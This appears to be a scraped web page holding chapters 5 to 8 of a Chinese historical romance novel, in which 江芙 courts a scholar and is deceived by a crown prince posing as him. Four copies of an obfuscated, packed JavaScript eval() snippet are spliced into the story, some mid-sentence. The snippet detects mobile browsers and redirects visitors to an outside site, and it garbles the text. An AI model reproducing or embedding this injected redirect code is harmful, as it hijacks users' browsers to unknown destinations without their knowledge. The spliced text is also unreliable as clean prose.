RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011026|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女儿。 江芙祖母见状,给了江父两条路:要么立刻娶妻生子,要么把谢氏赶出江家。 江父选了第三条。 他并未遵从母亲的决定,而是带着谢氏去外地赴任去了。 江父离京后就与家中断了联系,带着谢氏辗转奔波于地方州县,每到一地,常常待不过三五年就要再去下一个地方,彼时江芙虽年幼,但也能隐隐从父母的对话中,听出如此频繁的调任大约与京中的江家有关。 穷山恶水,风餐露宿,还带着妻女,不需额外做什么,这本身就是一种惩罚。 江芙的母亲不愿与丈夫分开,加上早年生江芙时落下了病根儿,多年旅途劳累,风湿骨痛,头疼脑热全找了上来,后来江父巡查河堤时失足落水而亡,她也承受不住打击,没过多久就随江父去了。 母亲死后,江芙把她的遗物都收在一起,其中就包括她生前用过的药方。 她从里面找了几个效果不错,价钱也不算昂贵的方子,一一誊抄,还别出心裁的用熏香熏了半个时辰,让云翘送过去。 肖译对她印象本就不差,这次,一定会觉得她是个蕙质兰心的女郎。 江芙信心满满。 谁料方子送了,对方也收了,却过了大半个月,都不见回信。 江芙怀疑自己被人耍了。 她把云翘叫来,问她去时的情形。云翘道:“奴婢去了肖府,肖公子不在家,东西是他家中老仆收的。” “你可说清了此物是江娘子所赠,叫他一定转交?”江芙问。 云翘道:“说了。” 江芙更摸不着头脑了。 她反复回忆了那天与肖译见面的场景,总觉得不该如此。 最后还是江薇无意间一句话道破玄机。 那日她与江薇斗草,想起在宣城时,江薇经常和邻居家的阿牛玩这个游戏,便问她:“薇薇现在还想不想小阿牛啊?” 江薇当时和阿牛玩得极好,分别时,两个小面团子还抱着哭成了浆糊团子。 岂料小姑娘想了一会儿,道:“不想了。姐姐不提,我都快不记得他了。” 江芙有些意外。 江薇道:“我之前很不舍得阿牛,但宣城之外还有那么多好吃的好玩的,我很快就不想了。” 江芙回忆了一下,确实,离开宣城不过四五日,江薇就没提过她的阿牛哥哥了。 一个小丫头尚且如此,肖译刚刚中举,宴饮应酬,迎来送往总是少不了,事忙起来,一时忘了她这边也是有的。 说到底,两人只有游园会那日的一面之缘。 方法总要因人制宜,有人附庸风雅,就要多送些扇坠书画聊表心意,肖译既然不吃送东西这套,那就多去他面前走动走动。 江芙觉得自己想得很有道理。 她开始留心打听这一批新科举子的宴饮行踪,一连蹲了好多天,终于叫她等到一个机会。 太子下月九日将于鹿饮山行猎,几位世家公子与举人随行。 肖译也在其中。 5. 第 5 章 天清气爽,草长莺飞,林海起伏无尽绵延的山脚下,江芙掀开帘子,付过车钱后,向一处人烟稀少的古寺走去。 那车夫走前还在嘀咕:“不年不节的,来这破庙上什么香,这些富家小姐真奇怪。” 江芙拢了拢衣袍,抬头望着矗立在山林间,若隐若现的破旧古寺,轻轻吐了一口气。 若上香礼佛,最应当去的当是江阳城北的护国寺,而这明禅寺位置偏僻,人烟稀少,着实不是个好去处。 但江芙不是来礼佛的,她是来捉人的。 明禅寺位置偏僻,却正好坐落在鹿饮山脚下。 而鹿饮山与江阳相距甚远,每逢贵族公子小姐来此游猎,回去时都要在这寺庙中休整半日。 江芙要的,就是这半日。 她没想过去山里碰运气,一来山路难行,她一个手无寸铁的弱女子,若遇到什么野兽毒虫怕是连呼救都来不及,二来行猎这种场合,所用场地定是早已提前派人打点过,肯定不会让不明身份的人接近。 她原本最坏的打算是连这寺庙也进不去,好在那位太子殿下似乎不是个求全责备的人,除了圈定他们所用的禅房外,并未禁阻其他香客。 林间风静,江芙踏着连青苔都冲洗得一干二净的石阶,进了明禅寺。 寺中几乎没见几个人,江芙去敬了香,拜了佛,诚心诚意的祈求佛祖一定要保佑她今天能见到肖译,而后跪于佛前,诵经祈福。 晨钟杳杳,暮鼓沉沉,天边霞色翻滚之时,她听见马蹄阵阵,人声渐起。 江芙睁开眼。 . 寺外,萧隐信手将弓丢给随从,解鞍下马。住持上前迎接,说已备好斋饭,请诸位施主先去禅房歇息片刻。 萧隐颔首,转头道:“在山中跑了一天,诸位也累了,早些休息吧。” 众人忙道太子仁德,不多时散了个干净。 萧隐身侧只留下几个惯常跟他的臣下和侍从,其中一个见人都走了,叹道:“都是些年轻后生,到底还缺历练。” 大周不行武举,太子今日召他们来此游猎,本就有意考察他们文治之外,武功如何,偏有几个年轻举子,真当此行是来游山玩水的了,逮兔子烤野鸽那叫一个不亦乐乎,还以为没人看见,其实漫山遍野都是眼线,他们的一举一动都被人收入眼中。 另一人道:“有几个还是不错的,比如那个肖译,进退有度,射猎之时很沉得住气,是个可造之材。” 那人道:“还有与他同行的韩俊,似乎骑射更佳些。” “是也是也,秦老兄慧眼,我正要说他。” 两人讨论了半天,一抬头见太子殿下已走出去老远,忙追上去,小心翼翼地问:“殿下以为,这两人如何?” 萧隐停下脚步,似笑非笑地扫了眼这两个老头。 见他这个表情,秦尧心头咯噔一下,试探道:“可是这两人有哪里惹了殿下不快……” 萧隐打断他,道:“秦尧,听闻你家中长女快要定亲了,孤先在这里道声恭喜。” 太子性情随和,除朝会之外,少在臣下面前以“孤”自称,少有的几次,都是在他心情异常不快的情况下出现的。 秦尧眼前一黑。 他长女确实快要定亲了,所嫁之人,正是今春的新科举人韩俊。 他双腿一软,扑通一声跪下了,连声道:“微臣惶恐!” 就连方才跟着他一起高谈阔论的梁植也跟着跪下了。 萧隐看了眼这两人,有些烦躁。 他今日猎了一头黑熊,本来心情大好,不欲与这些人计较,但这两个老头的手段实在是太蠢了。 他不反感臣下拉拢才俊,提拔自家小辈,可这两人在他面前一唱一和,还拉上个无甚关系的肖译做掩护,是把他当傻子糊弄么? 在旁边看了半天好戏的邱小侯爷嘻嘻笑道:“两位大人这声泪俱下的功夫,真该去南园戏班子做个头牌。” 磕头的动作一僵,随即两人磕的更卖力了。 萧隐看了一会儿,直到他们头破血流,有些厌烦了,才淡淡道:“滚吧。” 两人如蒙大赦,连滚带爬地跑了。 经此一遭,萧隐一天的好心情被毁了个彻底,寡着一张脸回了歇脚的院子,靠在躺椅上翻了两页闲书。 他休息时向来不喜欢身边有太多人,所有护卫都隐在暗处,没过多久,一道黑影突兀的出现在他面前,道:“殿下,有个女子正往这边走。” 萧隐道:“去看看怎么回事,若是走错,给她指个路,若是有意寻来,直接轰出去。” 暗卫拱手道:“是。”一眨眼的功夫闪身没了 岂料没过多久,他又回来了,这次神情有些古怪,道:“殿下,那女子刚才拿石头砸烂了自己脚踝,还在往这边走。” “哦?”萧隐支起身子,来了些兴味。 暗卫道:“那女子高约五尺五寸,身形纤瘦,不逾百斤,杏眼,高鼻梁,皮肤偏白,长得很……” 暗卫犯了难,他其实想说长得很漂亮,因为除了漂亮之外,再没有一个词可以更准确那女子的特点,但这样说显得他很不专业。 萧隐微微挑眉。 这样具体的形貌特征,再结合不久前听到的名字,他立刻几乎想起一个人。 不可思议,啼笑皆非。 他难以理解江芙为何有这样的动力,为了一个素未谋面的人追到几十里以外的古寺中来,但不得不说,她确实勾起了他的兴趣。 萧隐摆手道:“不必拦她,你下去吧。” 暗卫道:“是。” 清风徐来,萧隐含笑翻着手中的书页,不多时,门口传来一声细微的吸气声。 他放下书,坐起身,佯装惊讶道:“江娘子。” 门口,江芙一手扶着石台,一手捂着鲜血淋漓的脚踝,疼得眼泪都快出来了。 见到萧隐,她似乎比萧隐更惊讶,道:“肖公子?” 说罢,看了看四周,疑惑道:“我是走错院子了吗?” 萧隐合上书,礼貌道:“应该是的。江娘子,你的脚怎么了?” “方才不小心摔了一跤……”因为太疼,不需要多费劲儿就能挤出眼泪,江芙泪眼盈盈地向他求助,“肖公子,你能扶我一把吗?” 萧隐微微一笑,从善如流:“好。” 他隔着衣袖握住江芙手臂,是一个很有风度的距离,除了手臂之外,两人的身体几乎没有任何一丝碰触。 但女郎的手臂很软。 萧隐微微用力,指尖很轻易地落入一团软肉之中。 他觉得有些好玩儿,又捏了两下,低头若有所思地看着那截细瘦莹白的小臂。 女郎的肌骨与男子大不相同,更软些,也更易折。 这个发现让萧隐颇感兴趣,甚至产生了一种想好好把玩的冲动。 掌心的温度落空,萧隐看着江芙艰难地坐下,动作间,袖口微微翻起,方才被他捏着的位置落了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011027|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点红痕。 很淡,不甚明显,但在她白皙的肌肤上,仍如一瓣红梅落入雪地般明显。 萧隐藏在袖中的手又捻了一捻,问:“江娘子怎会在此处?” 江芙捂着脚踝,仰头道:“听说这里的香火灵验,本想求一枚平安符回去,未曾想山路难行,符没求到,还摔了一跤,还好遇到了肖公子。” 萧隐配合地露出个关切的表情:“举手之劳罢了,只是娘子这伤……”他看着江芙仍在渗血的鞋袜,满脸担忧。 江芙抿唇,道:“我此行本想快去快回,没带婢女。” 话已至此,若萧隐抛下她不管,就有些太不近人情了。 萧隐了然,从善如流道:“娘子稍等,我去寻些药来。” 太子进山行猎,随行队伍中自是医师、伙夫一应俱全。江芙道:“多谢肖公子了。” 萧隐一笑,风度翩翩:“娘子客气了。” 他出了门,转到一个江芙看不见的角度,等了两息时间,手中就多了一个白底蓝纹的药瓶,萧隐拿在手中把玩了一会儿,没有立刻进去,而是隔着花枝树影,饶有趣味地观察了江芙片刻。 四下无人,她疼得不再那么优雅贤淑,脸直接皱成了个包子。 看来是真的很难受。 估摸着时间差不多了,萧隐进去,将药瓶放到桌上,道:“江娘子自己来,还是我来帮你?” 江芙微微蹙起眉,做为难状。 她当然想萧隐帮她,一来可以拉近关系,二来伤在脚踝处,她自己上药,太不雅观了。 再美的人弯腰曲背掰自己脚丫子时都不会好看。 但这话不能从她自己嘴里出来,那显得她多不矜持。 好在萧隐很快就明白了她的为难,善解人意道:“我来帮江娘子吧。” 江芙道:“有劳了。” 萧隐俯身,将她受伤的那只脚拉到自己膝头,动作缓慢地除去她的鞋袜。 随着他的动作,淡青色的裙摆滑落,露出的一截小腿莹白如玉,骨肉匀称,关节透着淡淡的粉,就连脚趾头都生得小巧可爱。 她全身上下似乎无一不精,无一不美。 萧隐一手握住她的脚腕,认真看了好一会儿。江芙不知为何有些难堪,小声催促道:“肖公子……” “哦。”萧隐面不改色地提起茶壶,借着壶中清水给她冲洗伤口,道,“江娘子伤得不轻。” 他本以为江芙这样娇弱的女郎定是忍不了痛的,没想到这姑娘对自己下手够狠,整个脚腕处一片血肉模糊,看着就叫人触目惊心。 确实很惨,惨到萧隐甚至开始很好心地琢磨,她都下了这样的狠手,他是不是也该适当回馈一些。 清凉的水流浇在伤口上,陌生的触感让江芙忍不住微微一缩,男人眼疾手快地握住了她的小腿,道:“别动。” 他的手很热,又很大,几乎可以整个环握住她的腿,江芙惊得不敢动弹,片刻后,咬唇别开脸。 不多时伤口冲洗干净,萧隐将她的脚再次放到自己腿上。 上面滑落的水珠洇湿了他的衣衫,江芙声若蚊蝇:“肖公子……” 萧隐面不改色:“无妨。” 他翻出手帕,在她伤口上轻点,再均匀的敷上药粉,道:“会有些疼,忍一下。” 说话间,他撩起眼皮,见江芙已面色涨红,说不出一句话来,不知是疼的,还是羞的。 花架子。 他轻笑一声。 6. 第 6 章 鲜血淋漓的伤口被雪白的药粉遮住,不多时被血浸透,萧隐从腰间抽出一把短刀,将最上面结了块的药粉剔开,又敷了一层,才给她包扎。 细微的酥痒顺着脚踝攀升,江芙皱眉,小腿止不住地一抽。 萧隐按住她的腿,道:“忍一下。” 江芙咬了下唇,问:“快好了吗?” 萧隐几下打了个漂亮的结,道:“好了。回去后记得不要沾水,按时换药。” 灼热的触感从腿间消失,江芙放下腿,理了理裙子,感激道:“真是多谢肖公子了。” 淡青色的裙摆徐徐飘落,柔顺地盖在女郎脚面上,一抹柔嫩的白一晃而过。 刚刚还握在他掌心。 萧隐眸色微深,盯着她掩在裙下的脚踝,掏出手帕,不紧不慢地擦去指尖残存的药粉。 江芙看着他的动作,莫名有些不自在,微微收了收双腿,轻咳一声,挑开话题:“还未来得及问,肖公子怎会在此处?” 萧隐放下手帕,十分配合:“太子恩泽,与我等来此地行猎同乐。” “哦?”江芙像是很感兴趣,倾身道,“那肖公子都猎了些什么?” 萧隐面露郝然:“只猎了两只兔子。” 江芙真诚地道:“野物难寻,肖公子初次行猎,已经很不错了。且那野兔迅敏,很不易得。” 萧隐颔首道:“正是。不过在下虽疏于骑射,但运气尚好,两箭都是一发即中,一支射中脑壳,一支偏了些,但也正中后腿。江娘子要看看吗?” 江芙想到那场面,脸色微微发白,勉强夸赞道:“那……那当真是极好,看就不必看了。” 萧隐看着她,停了一瞬,恶念突起:“真的不看吗?那两只兔子都很可爱。” 再可爱的兔子被一箭射穿都不会可爱了!江芙拒绝道:“不要。” 萧隐却仿佛来了兴致:“我去给江娘子拿。” 江芙摆手:“不不,太麻烦了,我……” 萧隐道:“不麻烦,我去去就回。” 江芙这回是真忍不住了,大声道:“不要,我不看!” 萧隐一顿,含笑看她,片刻后,笑意逐渐扩散,最后竟哈哈大笑起来。 江芙愣了愣,也反应过来,恼道:“肖公子,你在耍我?” 萧隐止住笑意,道:“不,怎么会?我真猎到了兔子。” 他今日除了熊和鹿之外,确实还猎到些小玩意儿。 江芙冷着脸不说话。 萧隐观察片刻,琢磨道:“但不是死物。” 江芙这才微微一动。 萧隐道:“都还活着,只是受了点皮外伤,我去拿给江娘子看。” 江芙半信半疑,萧隐见状,起身出去,不多时果真拎了两只兔子回来。 一只通体雪白,一只灰白相间,紧紧缩在笼子一角,可怜、可爱极了。 江芙被吸引过去,忍不住伸出手指,戳了戳它们。 兔子软绵绵的,一动不动。 萧隐打开笼子,将其中一只抱出来,指给她看:“只有这里受了点伤,其余无碍,另一只也是一样。” 江芙探头瞅了瞅。 伤在后腿,正好制住了那兔子行动,并不严重,已经上过药了。 萧隐道:“这兔子我留着也没用,江娘子喜欢,就拿去养着玩儿吧。” 江芙气消了大半,但仍有些别扭:“不必了。” 萧隐这时,仿佛又恢复了平常的君子风度,很有礼貌道:“方才我惊扰了江娘子,权当赔罪吧吧。” 江芙摸了摸兔子柔软的毛发,还想拒绝,但实在不舍。 小时候家里也养过兔子,比这两只还要大些,是江父从集市上买回来陪她玩的。 可惜没过多久,兔子就打洞跑了,江芙为此一直很遗憾。 最终那点别扭还是抵不过心中的喜爱,江芙抱过兔子,矜持道:“那就谢谢肖公子了,改日我再回礼。” 萧隐笑吟吟道:“不谢。” 江芙低头逗了会儿兔子,萧隐看得手痒,但他笑意一收,便显得非常正经,还贴心地建议江芙:“天色已晚,回京多有不便,江娘子不如留在这寺中住上一晚吧,待明日我再派人通知定安伯府,接你回去。” 江芙故作迟疑,片刻后,面露难色,道:“我这次出来,还未与府上说。” “哦?”萧隐有些惊讶,旋即配合地露出一个担忧的表情,“这可如何是好?” 话已至此,江芙厚着脸皮道:“不知可否耽误肖公子些时间……” 萧隐苦恼道:“这……男女授受不亲……” 情真意切,看起来十足为江芙着想的模样。 江芙黯然道:“我本就是借居,不好总打扰主人家……” “……好罢。”萧隐沉吟片刻,无奈地应下,“明日江娘子就与我同乘吧。” 江芙柔柔一笑:“若没有肖公子,我真不知该如何是好。” 萧隐也很客气:“岂敢,能帮到江娘子,是我之幸。” 清风若过,两人笑语盈盈,对彼此都很满意。 得了萧隐的首肯,第二天,江芙自是畅通无阻,也没遇到侍卫盘问,光明正大的带着斗笠上了东宫的车驾。 其他人得了令,早已先行一步。江芙虽有些惊诧于车驾的豪奢,但想到传闻中那位太子殿下素来礼贤下士,仁惠爱民的好名声,也找到了合理的解释。 萧隐贴心地将江芙送到定安伯府侧门,特意避开行人,下车时,为她掀起帘子,道:“江娘子好走。” 濯濯春光映于他眉眼之上,玉树临风,气宇不凡。 和昨日拿兔子吓她那人一比,简直判若两人。 江芙道:“多谢。” 萧隐将一个绿色的瓷瓶给她,道:“这是我家祖传的药膏,江娘子伤好后记得日日涂抹,才不会留疤。” 江芙捧着药瓶,认真地道谢,犹豫一瞬后,问:“昨日多亏了肖公子,公子可方便告知我家宅所在?改日也好登门致谢。” 萧隐笑意不变,嘴唇微动,片刻后,报出一个地址,道:“我刚搬到此处,还未告知他人,江娘子是第一个。” 江芙笑道:“那真是我的荣幸。” 萧隐道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011028|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“娘子折煞在下了。” 江芙自是更谦虚几分,目送萧隐马车离去后,才转身进府。 她将萧隐刚刚报的住址反复在心里念叨了几遍,终于确定,自己之前的药方是送错地方了。 难怪迟迟没有回音,也不见萧隐提及此事。 既然如此,改日再寻个机会给他就是。 她离府一夜未归,再回来时一瘸一拐地抱着两只兔子,把云翘吓个够呛,差点摔了手里的盆,失声道:“娘子!” 江芙竖起手指,比了个“嘘”。 云翘往屋里看了一眼,道:“二小姐还在看书。” 江芙把兔子放下,道:“我没事,你去院子里给它们打个窝儿,记得打大点。” 她回想了一下,总觉得小时候那两只兔子跑了,是因为自己经验不足,给它们准备的窝不够大,它们活动不开才要往外跑,这次弄大一些,总不能再出问题了吧? 云翘道:“娘子这腿……” “是脚踝。”江芙道,“不小心崴了一下,已经上过药了。” 她向来是个有主意的,云翘见状,也不再问了,提着两只兔子做窝去了。 江芙松了松筋骨,疲惫地靠在躺椅上,回顾了一下这次见面,自认为颇有收获。 肖译才能出众,品貌端方,家境清贫却也关系简单,于她而言,是个难得的佳偶。 最重要的是,他明显是对她有兴趣的。 但不知为何,江芙总觉得,肖译这个人有些捉摸不透。 甚至令她感到不安。 不管怎么说,他都是她目前最好的选择了。 江芙踌躇满志,开始计划下一次见面。 . 萧隐走后,确实期待过几次和江芙的见面。 但朝中事忙,他很快将这件事抛之脑后。皇帝年迈,朝中诸事都要经萧隐的手,虽还有几个弟弟,但东宫势大,帝王信重,这几个皇子一个比一个老实,机要政务半分也不敢沾,生怕兄长猜忌,只帮着看顾些不重要的事宜。 即便如此,凡有涉及东宫之事,也要一日三次的来问萧隐主意。 再次收到江芙的消息是在这一批新科学子选官任调的结果出来之后,暗卫来告诉他,有一位姓江的女郎找到他们在城北的据点,约他三日后见面,还送上一坛果酒,说是亲手所制,聊表心意。 萧隐彼时正在翰林院议事,十分好心地将这坛果酒与诸位同僚共享。 太子赐下,众人赞不绝口。 肖译称赞道:“这酒口感圆润,甜而不腻,还额外添了蜂蜜调和味道,没有普通果酒的酸涩,酿酒的人定是用了心的。” 冯编修小声嘀咕道:“我怎么觉得这味道有些熟悉……” 萧隐一眼扫过去。旁边的唐侍读戳了他一下,高声道:“此酒滋味甘美,乃上上佳品啊!” 肖译也没当回事:“大抵好酒都是相似的。” 萧隐看着他,微笑着想到,江芙消息那样灵通,定是已经得知了肖译领任翰林院庶吉士的消息。 怪道今日才登门。 不见兔子不撒鹰。 7. 第 7 章 春光明媚,惠风和畅。江芙怀抱一副画卷坐于庭中。小童送上一壶热茶,道:“江娘子稍等,我家主子很快就来。” 江芙颔首道:“好,多谢。” 她抬头打量肖译这方新置办的府宅,院子不大,只一间正屋两个耳房,但收拾得干净齐整,主人家刚搬来不久,还没什么生活痕迹。 其实江芙本打算早些来找肖译的。 毕竟两人刚见过面,正是趁热打铁的好时机,但有一天晚上,她养在院中的两只兔子竟不知怎么跑了出来,其中一只翻墙越窗,爬到了江芙床上。 然后纵身一跃,正正好好踩到了她受伤的那只脚上。 旧伤未愈又添新伤,她委实养了好些天才能出门。 萧隐不来,她左右无事,与那小童闲聊:“你一直跟在你家公子身边吗?” 小童道:“一直跟着的。” “哦……”江芙喝了口茶,想到一事,问,“只有你一个人吗?” 小童似乎没想到她会这样问,迟疑片刻,外间传来一道清朗的声音:“江娘子有什么话问我就是,他才刚来,什么都不知道。” 萧隐一手背在身后,缓步而来,含笑道:“江娘子久等。” 江芙起身:“肖公子。” 萧隐示意那小童出去,道:“之前是他祖父在我身边,老人家年纪大了,回乡去了,他是这几日才过来的。” 江芙暗道自己多心:“原来如此。” 萧隐笑着点头。肖译家境贫寒,身边只有一位老仆打点家务,这并非什么隐秘,是他糊弄得太不用心,不怪江芙起疑。 他拂衣坐下,道:“江娘子上次说择日拜访,却迟迟没有登门,叫我好等。” 江芙莞尔一笑,道:“既是登门道谢,自然要带些诚意来才是。”她展开手中的画卷,笑道:“肖公子看了这个,一定不会怪我来迟。” 卷轴徐徐打开,露出一副工笔精妙的山水画。 北雁南飞,山河辽阔。萧隐看了一会儿,猜测道:“是唐骏石先生的画?” “正是。”江芙观察了他片刻,却没在他脸上捕捉到任何惊喜的痕迹,有些失望,“我听闻公子喜欢唐先生的画,特意求来的。” 萧隐这才展颜一笑,道:“江娘子有心了。” 他将画收起来,对江芙道:“我也带了个礼物给江娘子,但与娘子的相比,倒有些拿不出手了。” 江芙见他手一直背在身后,已猜到几分,但仍配合的问道:“什么?” 萧隐道:“是花。” 一束洁白馥郁的香雪兰。 江芙惊喜地接过,深深嗅了一口,道:好漂亮!” 萧隐微笑道:“我一见这花,就想到了江娘子,特意采来送你。” 他从宫里出来时,本是两手空空的,途径御花园,见园中的香雪兰开得正好,想到江芙。 香雪兰秀雅,纯洁,与江芙本人大相径庭,萧隐却莫名觉得她们相衬。 于是他折了束花,来见江芙。 此刻坐在江芙对面,萧隐想,大约是她的外表太具迷惑性了。 江芙打趣道:“如此说来,我与肖公子可算互相挂念了?” 萧隐笑道:“自然。” 江芙拨弄了两下花瓣,道:“听闻公子选任翰林院庶吉士,可还适应?” “无非是为上官打点些庶务,谈不上适不适应。”萧隐于公务不欲多提,问她道,“怎么这几次见江娘子都是一个人,也不见个婢女跟着。” 江芙顿了一瞬,坦然承认:“我来江阳前已遣散家中仆从,现下身边只一个婢女,她还要照看我妹妹,不便出门。” 寻常人家即便要轻装简行,总不会把人全都遣了,更何况江芙身边还有个年幼的妹妹需要照顾,身边只留一个人,本就是对自己境况的委婉暗示。 她无意隐瞒,萧隐也未露出半分异样,只好奇道:“江娘子还有个妹妹,怎么没听你提起过?” 他这般反应,叫江芙松了口气,又听他这样一问,失笑道:“我与肖公子相识也没多久,哪里来的机会提我妹妹呢?” 萧隐也笑:“是我问错了。” 江芙想了下,道:“家妹不常出门,若有机会,我带肖公子见见她。” 萧隐摸了摸下巴,“唔”了一声,道:“听起来江娘子与妹妹关系很好,姐妹俩年岁相差这样大,关系还好的倒不多见。” 莫说年岁相差大,他和萧陵月没差几岁,看见她已经很烦了,江芙这样一个精明的女子,自己过得尚且如此艰难,竟还愿意带着一个小拖油瓶,着实让他意外。 “我们是亲姐妹,关系怎能不好?”江芙理所当然道。 萧隐道:“是我失言了。” 江芙失笑,本想说这算什么失言,念头一转,话到口中却变成了:“那肖公子准备拿什么来给我赔礼呢?” 萧隐沉吟片刻,大大方方地上下打量了一番江芙,含笑道:“那要看江娘子喜欢什么了。” 江芙道:“玉器首饰,名家字画。” 萧隐道:“更具体些呢?” 江芙皱眉苦思,肖译家境贫寒,她并不打算真的从他那里得到什么,方才随口一句,不过是想和他多些交集罢了。 萧隐循循善诱:“玉器首饰我不怎么了解,若说字画,我倒是可以想想办法,不知江娘子喜欢哪位大家的墨宝?” 江芙思考片刻,道:“我很喜欢徐画阆先生的画……”说到此处,她眼睛一亮,道:“徐画阆先生有一幅寒石图,肖公子可见过?不如为我临摹一幅,权作赔礼吧。” 既不算贵重,又可以增加两人之间的交流,江芙觉得自己这个主意真是棒极了。 萧隐却道:“仿画有什么好看的,江娘子若喜欢,我带你去看看真迹。” 江芙面露疑惑。 萧隐道:“那副寒石图正挂在翰林院典簿厅中。” 江芙道:“肖公子是要把画带出来吗?这不太好吧。” 徐画阆的真迹虽不算名贵,但既挂在翰林院中,便是公家的东西,怎好随意挪动? 萧隐道:“无妨,我可以带江娘子进去。” 江芙一愣,道:“这……这更不好了……官署怎会让外人随意出入……” 萧隐闻言,却仿佛愈发来了兴致,道:“那我们偷偷进去,不叫人发现就是。” 江芙道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011029|194132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不……我……” 未等她说完,萧隐已捉住她的手,竟是迫不及待一样拉着她往外走,口中还道:“没关系的江娘子,翰林院几位大人的家眷也时常过去送饭,规矩没那样严。再说我们只是偷偷进去,看一眼就走,江娘子不是很喜欢那副寒石图吗?” 江芙此刻一点都不想看那副画了,道:“我不看也可以的,肖公子,我们……” “那怎么能行呢?”萧隐笑吟吟地打断她,“我说话不中听,得罪了江娘子,江娘子只是想看一幅画而已,我怎么能不满足?” 萧隐回身,又道:“这个时辰他们都快下值了,里面没什么人,我们速去速回。” “万一被人发现了……” “万一被发现了,我在前面挡着,不会叫人瞧见你的。”萧隐保证道。 言之凿凿,掷地有声。 在他的一再劝说下,江芙终是点了头。 第一次做这样偷鸡摸狗的事,江芙又是紧张又是羞耻,一路都不敢抬头,萧隐却是兴致勃勃,带着江芙从一处人迹罕至的侧门进去,还饶有兴味地转了几圈。 江芙拉拉他的袖子,小声道:“肖公子,那副画在哪,我们看完就走吧。” 萧隐没有半分做贼心虚的自觉,还很热情道:“江娘子好容易来一次,不多看看吗?” 不远处的院墙外路过几个官员,江芙吓得往他身后一躲,简直要哭出来了,道:“不看不看。肖公子,我们快走吧。” 萧隐转头看了一会儿,确认江芙是真的紧张到不行,也不逗她了,遗憾道:“好罢,江娘子随我来。” 他领着江芙,避开了人多的地方,竟真的没再遇见什么人,一路平安的到了那副画前。 萧隐还有些惋惜。 他有一搭没一搭地转着手上的扳指,心道这些人是愈发松散懈怠了,还没到放值的时辰呢,竟一个人也不见。 江芙全然不知身边的人在想什么,她见周遭确实无人,也稍稍放下心来,抬头看向那副寒石图。 这种环境里,她着实没什么闲情雅致,但秉持着一种来都来了的心理,她把那副画看得很认真。 她在看画,萧隐在看她。 看了一会儿,他突然又想到个新点子,愉快道:“江娘子,你这样喜欢这幅画,那我们把它偷走吧。” 江芙瞪大了眼。 萧隐再接再厉:“我们把它拿走,不会有人发现的。” 他眼中满是笑意,期待地等着江芙回答,但很快,他发现江芙看的不是他,而是窗外。 无需转头,身后已传来两个人的交谈声。 一人道:“文书可都整理好了?” 另一人答:“还需两三日。” 先说话的那个人明显官职更高些,再开口时带了点催促的语气:“快些吧,东宫那边催得紧,若殿下问罪,有你们好看的。” 随着那声音越来越近,萧隐脸上的笑意也愈来愈深。 但就在他还没想好接下来要演什么戏码时,江芙已快速抓住他的手臂,将他往书架后一拉。 萧隐身体绷紧一瞬,旋即慨然一笑,从善如流地,像是无法抵抗一般,被她拉了进去。 8. 第 8 章 典簿厅为官员处理公务之地,地方不大,这方书架恰与旁边的柜子一起,为他们隔开了一个狭小的、可供隐藏的空间。 江芙惊慌之下随手一拉,将她与萧隐牢牢圈在一处。 萧隐进来时不防撞到了柜角,发出一声闷哼,江芙大惊失色,忙伸手捂住他的嘴。 萧隐顿了顿,眼中渐渐盛满笑意。 外面的两位大人似乎是进来找什么东西的,四处翻寻着。江芙紧张不已,就在这时,萧隐轻轻拉下她的手,朝她做口型:“江娘子,我是不用躲的。” 江芙一愣,突然反应过来,萧隐本就是翰林院中的人。 方才太过慌乱,她竟没意识到。 那两位大人还在翻找:“不对啊,我记得上次就放在这里了。” “你记错了吧,去那边看看。” 听话音,所指的那边,就是江芙他们藏身的所在。 江芙惶急不已,偏这时,萧隐皱起眉头,小声对她道:“江娘子,我有些不舒服,好似被什么东西硌着了。” 江芙踮脚一看,见旁边的架子上支出了几卷竹简,正巧抵在萧隐肩背处。 她往后退了两步,把萧隐往自己这边拉了拉。 但此处太过逼仄,如此一来,萧隐是舒服了,江芙却几乎站立不住。 萧隐又小声道:“江娘子,你可以抓着我。” 江芙犹豫不已,萧隐也不催,好整以暇地看着她。 片刻后,那双纤细柔软的手如他所愿,攀上了他的衣襟。 萧隐轻轻托了一把江芙后腰,让她站得更稳些。 那两人的声音越来越近,萧隐小声道:“怎么办江娘子?” “他们好像过来了。” 